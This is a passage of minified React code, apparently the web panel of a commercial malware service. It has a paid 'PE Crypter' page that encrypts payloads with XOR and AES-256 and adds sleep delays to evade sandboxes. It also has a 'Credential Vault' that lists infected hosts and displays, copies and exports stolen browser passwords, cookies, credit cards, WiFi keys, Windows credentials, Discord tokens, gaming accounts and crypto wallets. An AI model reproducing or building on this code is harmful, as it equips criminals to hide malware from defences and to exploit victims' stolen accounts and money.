bg-zerin-accent"}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-dim uppercase tracking-wider",children:"Execution Delay"})]}),a.jsxs("div",{className:"p-4",children:[a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsx("input",{type:"range",min:0,max:300,value:u,onChange:_=>d(parseInt(_.target.value)),className:"flex-1 h-1 bg-zerin-panel-border appearance-none cursor-pointer [&::-webkit-slider-thumb]:appearance-none [&::-webkit-slider-thumb]:w-3 [&::-webkit-slider-thumb]:h-3 [&::-webkit-slider-thumb]:bg-zerin-accent [&::-webkit-slider-thumb]:cursor-pointer"}),a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("input",{type:"number",min:0,max:300,value:u,onChange:_=>d(Math.max(0,Math.min(300,parseInt(_.target.value)||0))),className:"w-16 bg-zerin-bg border border-zerin-panel-border px-2 py-1.5 text-center text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted",children:"sec"})]})]}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mt-2",children:u===0?"No delay — payload executes immediately after decryption":`Sleeps ${u}s before execution — evades sandbox timeout windows`})]})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"w-1 h-3 bg-zerin-accent"}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-dim uppercase tracking-wider",children:"Build Output"})]}),h&&a.jsxs("span",{className:"font-mono text-[11px] text-zerin-accent tabular-nums",children:[Math.round(g),"%"]})]}),(h||g>0)&&a.jsx("div",{className:"h-[2px] bg-zerin-bg",children:a.jsx("div",{className:`h-full transition-all duration-700 ease-out ${z?"bg-emerald-500":"bg-zerin-accent crypter-progress-glow"}`,style:{width:`${g}%`}})}),a.jsx("div",{ref:A,className:"h-36 overflow-y-auto custom-scrollbar px-4 py-3 bg-[#0A0A0C]",children:N.length===0&&!h?a.jsx("div",{className:"h-full flex items-center justify-center",children:a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/50",children:"Waiting for build..."})}):a.jsxs("div",{className:"space-y-0.5",children:[N.map((_,M)=>a.jsxs("div",{className:"font-mono text-[11px] leading-relaxed crypter-layer-enter flex items-start gap-2",style:{animationDelay:`${M*30}ms`},children:[a.jsx("span",{className:`flex-none ${_.includes("OK")||_.includes("complete")?"text-emerald-500":"text-zerin-accent/50"}`,children:_.includes("OK")||_.includes("complete")?"✓":"›"}),a.jsx("span",{className:_.includes("OK")||_.includes("complete")?"text-emerald-400/90":"text-zerin-text-dim",children:_})]},M)),h&&a.jsx("div",{className:"font-mono text-[11px] crypter-terminal-cursor",children:a.jsx("span",{className:"text-zerin-accent/50",children:"› "})})]})}),a.jsxs("div",{className:"p-4 border-t border-zerin-panel-border",children:[a.jsx("button",{onClick:K,disabled:!r||h,className:`w-full py-3 font-mono font-semibold text-sm tracking-wide transition-all duration-300 flex items-center justify-center gap-2 ${r?h?"bg-zerin-accent/20 border border-zerin-accent/30 text-zerin-accent cursor-wait":z?"bg-emerald-500/10 border border-emerald-500/30 text-emerald-400 hover:bg-emerald-500/15":"bg-zerin-accent text-[#04040a] hover:shadow-[0_0_24px_rgba(6,182,212,0.35)] active:scale-[0.99]":"bg-zerin-panel-hover border border-zerin-panel-border text-zerin-text-muted cursor-not-allowed"}`,children:h?a.jsxs(a.Fragment,{children:[a.jsxs("svg",{className:"w-4 h-4 animate-spin",viewBox:"0 0 24 24",fill:"none",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Crypting..."]}):z?a.jsxs(a.Fragment,{children:[a.jsx("svg",{className:"w-4 h-4 crypter-check-in",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M16.704 4.153a.75.75 0 0 1 .143 1.052l-8 10.5a.75.75 0 0 1-1.127.075l-4.5-4.5a.75.75 0 0 1 1.06-1.06l3.894 3.893 7.48-9.817a.75.75 0 0 1 1.05-.143Z",clipRule:"evenodd"})}),"Downloaded — Crypt Again"]}):a.jsxs(a.Fragment,{children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M10 1a4.5 4.5 0 0 0-4.5 4.5V9H5a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2h-.5V5.5A4.5 4.5 0 0 0 10 1Zm3 8V5.5a3 3 0 1 0-6 0V9h6Z",clipRule:"evenodd"})}),"Crypt Payload"]})}),v&&a.jsxs("div",{className:"mt-3 px-3 py-2.5 border border-red-500/20 bg-red-500/5 flex items-start gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-red-400 flex-none mt-px",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M18 10a8 8 0 1 1-16 0 8 8 0 0 1 16 0Zm-8-5a.75.75 0 0 1 .75.75v4.5a.75.75 0 0 1-1.5 0v-4.5A.75.75 0 0 1 10 5Zm0 10a1 1 0 1 0 0-2 1 1 0 0 0 0 2Z",clipRule:"evenodd"})}),a.jsx("span",{className:"text-red-400 text-sm font-mono",children:v})]})]})]})]}),a.jsxs("div",{className:"lg:col-span-2",children:[a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border lg:sticky lg:top-6",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"w-1 h-3 bg-zerin-accent"}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-dim uppercase tracking-wider",children:"Defense Layers"})]}),a.jsx("button",{onClick:()=>{const _=P===Pa.length,M={};Pa.forEach(F=>{M[F.key]=!_}),p(M)},className:"font-mono text-[10px] text-zerin-text-muted hover:text-zerin-accent transition-colors uppercase tracking-wider",children:P===Pa.length?"Clear All":"Enable All"})]}),a.jsx("div",{className:"divide-y divide-zerin-panel-border/50",children:Pa.map((_,M)=>{const F=f[_.key];return a.jsxs("button",{onClick:()=>D(_.key),className:`w-full text-left px-4 py-3.5 flex items-start gap-3 transition-all duration-200 group/layer ${F?"bg-zerin-accent/[0.04]":"hover:bg-zerin-panel-hover/50"}`,children:[a.jsx("div",{className:"flex-none pt-px",children:a.jsx("div",{className:`w-7 h-7 flex items-center justify-center border transition-all duration-300 ${F?"border-zerin-accent/40 bg-zerin-accent/15 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted group-hover/layer:border-zerin-panel-border-hover"}`,children:F?a.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M16.704 4.153a.75.75 0 0 1 .143 1.052l-8 10.5a.75.75 0 0 1-1.127.075l-4.5-4.5a.75.75 0 0 1 1.06-1.06l3.894 3.893 7.48-9.817a.75.75 0 0 1 1.05-.143Z",clipRule:"evenodd"})}):a.jsx("span",{className:"font-mono text-[10px]",children:M+1})})}),a.jsxs("div",{className:"flex-1 min-w-0",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:`font-mono text-sm transition-colors ${F?"text-zerin-text":"text-zerin-text-dim"}`,children:_.label}),F&&a.jsx("span",{className:"w-1.5 h-1.5 bg-zerin-accent rounded-full flex-none"})]}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mt-0.5 leading-relaxed",children:_.desc})]}),a.jsx("div",{className:`flex-none pt-0.5 transition-colors ${F?"text-zerin-accent/60":"text-zerin-text-muted/40"}`,children:_.icon})]},_.key)})}),a.jsx("div",{className:"px-4 py-3 border-t border-zerin-panel-border bg-zerin-bg/50",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("svg",{className:"w-3.5 h-3.5 text-zerin-accent/60",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M10 1c-1.716 0-3.408.106-5.07.31C3.806 1.45 3 2.414 3 3.517V16.75A2.25 2.25 0 0 0 5.25 19h9.5A2.25 2.25 0 0 0 17 16.75V3.517c0-1.103-.806-2.068-1.93-2.207A41.403 41.403 0 0 0 10 1Z",clipRule:"evenodd"})}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted",children:"Protection score"})]}),a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("div",{className:"flex gap-px",children:[1,2,3,4,5].map(_=>a.jsx("div",{className:`w-2.5 h-1 transition-colors duration-300 ${_<=P?"bg-zerin-accent":"bg-zerin-panel-border"}`},_))}),a.jsx("span",{className:`font-mono text-[11px] font-semibold tabular-nums ${P>=4?"text-zerin-accent":P>=2?"text-zerin-text-dim":"text-zerin-text-muted"}`,children:P===5?"MAX":`${P}/5`})]})]})})]}),a.jsx("div",{className:"mt-5 bg-zerin-panel border border-zerin-panel-border p-4 space-y-2.5",children:["XOR + AES-256-CBC layered encryption","Random keys per build — zero shared signatures","Fire-and-forget — no files stored on server","Stub compiled per-request with unique entropy"].map((_,M)=>a.jsxs("div",{className:"flex items-start gap-2.5",children:[a.jsx("span",{className:"font-mono text-[10px] text-zerin-accent/50 mt-px",children:">"}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted leading-relaxed",children:_})]},M))})]})]})]})})]}):a.jsxs("div",{className:"flex items-center justify-center min-h-[80vh] p-6",children:[a.jsx("style",{children:Xb}),a.jsxs("div",{className:"relative max-w-lg w-full",children:[a.jsx("div",{className:"absolute -inset-px bg-gradient-to-b from-zerin-accent/20 via-transparent to-transparent"}),a.jsxs("div",{className:"relative bg-zerin-panel border border-zerin-panel-border p-10 text-center",children:[a.jsx("div",{className:"w-16 h-16 mx-auto mb-5 border border-zerin-panel-border-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z"})})}),a.jsx("div",{className:"font-mono text-xs text-zerin-accent/60 tracking-[0.3em] uppercase mb-2",children:"Premium Feature"}),a.jsx("h2",{className:"font-display text-2xl font-bold text-zerin-text mb-3",children:"PE Crypter"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-8 leading-relaxed max-w-sm mx-auto",children:"Layered XOR + AES-256 encryption with configurable injection modes, evasion layers, and per-build random keys."}),a.jsxs(xt,{to:"/#pricing",className:"inline-flex items-center gap-2 bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-7 py-3 hover:shadow-[0_0_24px_rgba(6,182,212,0.3)] transition-all duration-300",children:["Upgrade License",a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M5.22 14.78a.75.75 0 0 0 1.06 0l7.22-7.22v5.69a.75.75 0 0 0 1.5 0v-7.5a.75.75 0 0 0-.75-.75h-7.5a.75.75 0 0 0 0 1.5h5.69l-7.22 7.22a.75.75 0 0 0 0 1.06Z",clipRule:"evenodd"})})]})]})]})]})}function $V(e){const t=Date.now()-new Date(e).getTime(),n=Math.floor(t/6e4);if(n<1)return"just now";if(n<60)return`${n}m ago`;const r=Math.floor(n/60);return r<24?`${r}h ago`:`${Math.floor(r/24)}d ago`}function Zb(e){const t=new Date(e);return t.toLocaleDateString("en-US",{month:"short",day:"numeric",year:"numeric"})+" "+t.toLocaleTimeString("en-US",{hour:"2-digit",minute:"2-digit"})}function yr(e,t){try{const n=atob(e),r=new Uint8Array(n.length);for(let l=0;la.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})});function BV(){var A,T,P,D,G,R,K,_,M,F,U,V,Z,ae,ue,be,ye,q,te,C,Y,ne,B,le,we,Ne,Ae,$,fe,ve,H,se,W,Q,he,E,ce,J,xe,ke,ze,X,re,oe,Oe,et;const[e,t]=m.useState([]),[n,r]=m.useState(!0),[i,s]=m.useState(""),[o,l]=m.useState(null),[c,u]=m.useState(null),[d,f]=m.useState(new Set),[p,h]=m.useState(null),[x,g]=m.useState(""),[y,v]=m.useState(new Set),b=m.useCallback(async()=>{try{const L=await w6();t(L)}catch(L){s(L instanceof Error?L.message:"Failed to load credentials")}finally{r(!1)}},[]);m.useEffect(()=>{b()},[b]);const w=(()=>{const L=new Map;for(const ie of e){let de=L.get(ie.agent_id);de||(de={agent_id:ie.agent_id,hostname:ie.hostname,username:ie.username,os_version:ie.os_version,grabs:[]},L.set(ie.agent_id,de)),de.grabs.push({task_id:ie.task_id,output:ie.output,received_at:ie.received_at})}return Array.from(L.values())})(),j=x?w.filter(L=>L.hostname.toLowerCase().includes(x.toLowerCase())||L.username.toLowerCase().includes(x.toLowerCase())||L.agent_id.toLowerCase().includes(x.toLowerCase())):w,N=(L,ie)=>{var de,lt,Ct,Lt,gr,Qr,Li,As,Cf,Jr,bt,rn,zv,Sv,Cv,Pv,Ev,_v,Av;l({agent:L,grabIdx:ie});try{const ct=JSON.parse(L.grabs[ie].output);u(ct);const yn=new Set;(((de=ct.chrome_passwords)==null?void 0:de.length)??0)+(((lt=ct.firefox_passwords)==null?void 0:lt.length)??0)>0&&yn.add("passwords"),(Ct=ct.chrome_cookies)!=null&&Ct.length&&yn.add("cookies"),(Lt=ct.chrome_cards)!=null&&Lt.length&&yn.add("cards"),(gr=ct.wifi)!=null&&gr.length&&yn.add("wifi"),(Qr=ct.windows_credentials)!=null&&Qr.length&&yn.add("wincreds"),(Li=ct.discord_tokens)!=null&&Li.length&&yn.add("discord"),((As=ct.telegram)!=null&&As.found||(Cf=ct.filezilla)!=null&&Cf.length||(Jr=ct.winscp)!=null&&Jr.length||(bt=ct.putty)!=null&&bt.length||(rn=ct.outlook)!=null&&rn.length)&&yn.add("apps"),((zv=ct.steam)!=null&&zv.found||(Sv=ct.epic)!=null&&Sv.found||(Cv=ct.minecraft)!=null&&Cv.length||(Pv=ct.roblox)!=null&&Pv.found)&&yn.add("gaming"),(Ev=ct.wallets)!=null&&Ev.length&&yn.add("wallets"),(_v=ct.vpn)!=null&&_v.length&&yn.add("vpn"),(Av=ct.errors)!=null&&Av.length&&yn.add("errors"),f(yn)}catch{u(null)}},k=L=>{f(ie=>{const de=new Set(ie);return de.has(L)?de.delete(L):de.add(L),de})},z=L=>{v(ie=>{const de=new Set(ie);return de.has(L)?de.delete(L):de.add(L),de})},S=(L,ie)=>{navigator.clipboard.writeText(L).then(()=>{const de=ie?ie.clientX:window.innerWidth/2,lt=ie?ie.clientY-30:window.innerHeight/2;h({text:"Copied!",x:de,y:lt}),setTimeout(()=>h(null),1200)}).catch(()=>{})},O=()=>{if(!c||!o)return;const L=new Blob([JSON.stringify(c,null,2)],{type:"application/json"}),ie=URL.createObjectURL(L),de=document.createElement("a");de.href=ie,de.download=`creds_${o.agent.hostname}_${o.agent.grabs[o.grabIdx].task_id.slice(0,8)}.json`,de.click(),URL.revokeObjectURL(ie)};return n?a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsx("div",{className:"w-5 h-5 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin"})}):i?a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/20 px-6 py-4 text-sm text-zerin-danger max-w-md",children:i})}):a.jsxs("div",{className:"flex h-full animate-fade-in",children:[a.jsxs("div",{className:"w-80 flex-shrink-0 border-r border-zerin-panel-border flex flex-col bg-zerin-panel/50",children:[a.jsxs("div",{className:"px-4 py-4 border-b border-zerin-panel-border",children:[a.jsxs("div",{className:"flex items-center justify-between mb-3",children:[a.jsx("h1",{className:"text-sm font-semibold text-zerin-text tracking-wide",children:"Credentials"}),a.jsxs("span",{className:"text-[10px] font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:[w.length," client",w.length!==1?"s":""]})]}),a.jsxs("div",{className:"relative",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:x,onChange:L=>g(L.target.value),placeholder:"Filter by host, user, or ID...",className:`w-full bg-zerin-bg border border-zerin-panel-border text-xs text-zerin-text\r + placeholder:text-zerin-text-muted pl-8 pr-3 py-2 focus:outline-none focus:border-zerin-accent/40\r + transition-colors`})]})]}),a.jsx("div",{className:"flex-1 overflow-auto custom-scrollbar",children:j.length===0?a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsx("p",{className:"text-zerin-text-muted text-xs",children:w.length===0?"No credential grabs yet":"No matches"})}):a.jsx("div",{className:"py-1",children:j.map(L=>{const ie=y.has(L.agent_id),de=(o==null?void 0:o.agent.agent_id)===L.agent_id,lt=L.grabs[0];let Ct=null;try{Ct=JSON.parse(lt.output)}catch{}const Lt=Ct?Qb(Ct):0;return a.jsxs("div",{children:[a.jsxs("button",{onClick:()=>{L.grabs.length===1?N(L,0):(z(L.agent_id),!ie&&!de&&N(L,0))},className:`w-full text-left px-4 py-3 transition-colors border-b border-zerin-panel-border/50 + ${de?"bg-zerin-accent-muted/60":"hover:bg-zerin-panel-hover"}`,children:[a.jsxs("div",{className:"flex items-start justify-between gap-2",children:[a.jsxs("div",{className:"min-w-0 flex-1",children:[a.jsx("div",{className:"flex items-center gap-2 mb-0.5",children:a.jsx("span",{className:"text-sm font-semibold text-zerin-text truncate",children:L.hostname})}),a.jsxs("div",{className:"flex items-center gap-2 text-[11px]",children:[a.jsx("span",{className:"text-zerin-text-dim font-mono",children:L.username}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{className:"text-zerin-text-muted truncate",children:L.os_version})]})]}),a.jsxs("div",{className:"flex flex-col items-end gap-1 flex-shrink-0",children:[a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsxs("span",{className:"text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 px-1.5 py-0.5",children:[L.grabs.length," grab",L.grabs.length!==1?"s":""]}),Lt>0&&a.jsx("span",{className:"text-[10px] font-mono text-amber-400 bg-amber-400/10 px-1.5 py-0.5",children:Lt})]}),a.jsx("span",{className:"text-[10px] text-zerin-text-muted",children:$V(lt.received_at)})]})]}),L.grabs.length>1&&a.jsxs("div",{className:"flex items-center gap-1 mt-1.5",children:[a.jsx("svg",{className:`w-3 h-3 text-zerin-text-muted transition-transform ${ie?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),a.jsxs("span",{className:"text-[10px] text-zerin-text-muted",children:[L.grabs.length," historical grabs"]})]})]}),ie&&L.grabs.length>1&&a.jsx("div",{className:"bg-zerin-bg/50 border-b border-zerin-panel-border/50",children:L.grabs.map((gr,Qr)=>{const Li=(o==null?void 0:o.agent.agent_id)===L.agent_id&&(o==null?void 0:o.grabIdx)===Qr;return a.jsx("button",{onClick:()=>N(L,Qr),className:`w-full text-left px-6 py-2 text-xs transition-colors + ${Li?"bg-zerin-accent-muted/40 text-zerin-accent":"text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-text"}`,children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"font-mono",children:Zb(gr.received_at)}),a.jsx("span",{className:"text-[10px] text-zerin-text-muted font-mono",children:gr.task_id.slice(0,8)})]})},gr.task_id)})})]},L.agent_id)})})})]}),a.jsx("div",{className:"flex-1 overflow-auto custom-scrollbar",children:!o||!c?a.jsx("div",{className:"flex items-center justify-center h-full",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-16 h-16 mx-auto mb-5 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-8 h-8 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),a.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Vault"}),a.jsx("p",{className:"text-zerin-text-muted text-xs max-w-xs",children:"Select a client from the left panel to view their grabbed credentials and session data."})]})}):a.jsxs("div",{className:"animate-fade-in",children:[a.jsx("div",{className:"sticky top-0 z-10 bg-zerin-panel/95 backdrop-blur-sm border-b border-zerin-panel-border px-6 py-4",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsxs("div",{children:[a.jsxs("div",{className:"flex items-center gap-3 mb-1",children:[a.jsx("h2",{className:"text-base font-semibold text-zerin-text",children:o.agent.hostname}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:o.agent.agent_id.slice(0,8)})]}),a.jsxs("div",{className:"flex items-center gap-3 text-xs text-zerin-text-dim",children:[a.jsx("span",{className:"font-mono",children:o.agent.username}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{children:o.agent.os_version}),a.jsx("span",{className:"text-zerin-text-muted",children:"|"}),a.jsx("span",{children:Zb(o.agent.grabs[o.grabIdx].received_at)})]})]}),a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsxs("span",{className:"text-xs font-mono text-zerin-accent bg-zerin-accent/10 px-2 py-1",children:[Qb(c)," items"]}),a.jsxs("button",{onClick:O,className:`inline-flex items-center gap-1.5 text-xs font-medium\r + text-zerin-text-dim hover:text-zerin-text\r + bg-zerin-panel hover:bg-zerin-panel-hover\r + border border-zerin-panel-border\r + px-3 py-1.5 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export"]})]})]})}),a.jsxs("div",{className:"p-6 space-y-2",children:[a.jsx($n,{title:"Browser Passwords",count:(((A=c.chrome_passwords)==null?void 0:A.length)??0)+(((T=c.firefox_passwords)==null?void 0:T.length)??0),expanded:d.has("passwords"),onToggle:()=>k("passwords"),children:(()=>{const L=[...c.chrome_passwords??[],...c.firefox_passwords??[]];return L.length===0?a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:L.map((ie,de)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:ie.browser??"Firefox"}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:ie.url}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:lt=>S(ie.username,lt),children:ie.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:lt=>S(ie.password,lt),children:ie.password?"••••••••":""})]},de))})]})})()}),a.jsx($n,{title:"Browser Cookies",count:((P=c.chrome_cookies)==null?void 0:P.length)??0,expanded:d.has("cookies"),onToggle:()=>k("cookies"),children:(D=c.chrome_cookies)!=null&&D.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.chrome_cookies.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:L.host}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:L.name}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.value,de),children:[L.value.slice(0,40),"..."]})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),a.jsx($n,{title:"Credit Cards",count:((G=c.chrome_cards)==null?void 0:G.length)??0,expanded:d.has("cards"),onToggle:()=>k("cards"),children:(R=c.chrome_cards)!=null&&R.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Number"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Exp"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.chrome_cards.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text",children:L.name}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.number,de),children:L.number}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.exp})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No credit cards found"})}),a.jsx($n,{title:"WiFi Passwords",count:((K=c.wifi)==null?void 0:K.length)??0,expanded:d.has("wifi"),onToggle:()=>k("wifi"),children:(_=c.wifi)!=null&&_.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"SSID"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Auth"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.wifi.map((L,ie)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-medium",children:L.ssid}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:L.auth}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:de=>S(L.password,de),children:L.password||"(none)"})]},ie))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No WiFi passwords found"})}),a.jsx($n,{title:"Windows Credentials",count:((M=c.windows_credentials)==null?void 0:M.length)??0,expanded:d.has("wincreds"),onToggle:()=>k("wincreds"),children:(F=c.windows_credentials)!=null&&F.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 